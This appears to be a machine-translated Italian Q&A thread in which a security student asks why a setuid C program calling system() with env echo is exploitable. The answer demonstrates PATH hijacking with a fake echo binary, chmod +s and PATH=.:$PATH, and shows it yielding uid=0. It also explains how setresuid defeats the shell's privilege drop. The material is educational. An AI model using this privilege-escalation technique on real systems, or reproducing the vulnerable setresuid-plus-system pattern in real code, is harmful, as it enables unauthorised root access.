2011-11-29 9 views
34

Per come ho capito, il codice sopra permette un'esecuzione arbitraria di codice (o programma) - cosa rende questo vulnerabile e come si può approfittarne?Che cosa è vulnerabile in questo codice C?

+2

Perché ritieni che ciò consenta l'esecuzione di codice arbitrario? –

+0

beh, ad essere onesti, lo sto prendendo sulla cieca fiducia. Sono uno studente di sicurezza, stavo guardando un codice vulnerabile, e ho visto questo, dice nel libro che lo fa, ma non spiega questo particolare esempio. – quantumdisaster

+0

Forse ti riferisci alla chiamata di sistema? Non è un esperto su questo, ma questa è l'unica cosa che è lontanamente strana per me. Nessun sovraccarico del buffer o qualcosa del genere. –

risposta

51

è possibile ignorare la variabile PATH per puntare a una directory con la versione personalizzata di echo e dal echo viene eseguita utilizzando env, non è trattato come un built-in.

Ciò costituisce una vulnerabilità solo se il codice viene eseguito come utente privilegiato.

Nell'esempio seguente il file v.c contiene il codice della domanda.

$ cat echo.c 
#include <stdio.h> 
#include <unistd.h> 

int main() { 
    printf("Code run as uid=%d\n", getuid()); 
} 
$ cc -o echo echo.c 
$ cc -o v v.c 
$ sudo chown root v 
$ sudo chmod +s v 
$ ls -l 
total 64 
-rwxr-xr-x 1 user  group 8752 Nov 29 01:55 echo 
-rw-r--r-- 1 user  group 99 Nov 29 01:54 echo.c 
-rwsr-sr-x 1 root  group 8896 Nov 29 01:55 v 
-rw-r--r-- 1 user  group 279 Nov 29 01:55 v.c 
$ ./v 
and now what? 
$ export PATH=.:$PATH 
$ ./v 
Code run as uid=0 
$ 

Nota che l'impostazione di ID utente reale, ID utente effettivo e salvati set-user-ID da una chiamata al setresuid() prima della chiamata a system() nel codice vulnerabile scritto in questione permette di sfruttare la vulnerabilità anche quando solo un ID utente efficace è impostato su un ID utente privilegiato e l'ID utente reale rimane non privilegiato (come ad esempio quando si fa affidamento su un bit ID utente set su un file come sopra). Senza la chiamata a setresuid() la shell eseguita da system() reimposta l'ID utente effettivo sull'ID utente reale rendendo l'exploit inefficace. Tuttavia, nel caso in cui il codice vulnerabile venga eseguito con l'ID utente reale di un utente con privilegi, è sufficiente la chiamata system(). Citando pagina sh man:

Se la shell viene avviato con l'id effettivo dell'utente (gruppo) non è uguale per l'utente reale (gruppo) id, e l'opzione -p non è fornito, nessun file di avvio sono leggi, le funzioni della shell non sono ereditate dall'ambiente, la variabile SHELLOPTS, se appare nell'ambiente, viene ignorata e l'ID effettivo è impostato sull'id utente reale. Se l'opzione -p viene fornita al richiamo, il comportamento di avvio è lo stesso, ma l'ID utente effettivo non viene ripristinato.

Inoltre, si noti che setresuid() non è portatile, ma setuid() o setreuid() può essere utilizzato anche per lo stesso effetto.

+1

Solo curioso ... come si inserisce il PERCORSO? Avrei pensato dal momento che il percorso completo di "env" è stato specificato, il PERCORSO non sarebbe stato cercato. Ovviamente, se qualcuno avesse il permesso di mettere un brutto programma in/usr/bin/env, allora ci sarebbero problemi. – Ron

+0

ok grazie mille – quantumdisaster

+12

'env' cerca' PATH' per trovare 'echo'. –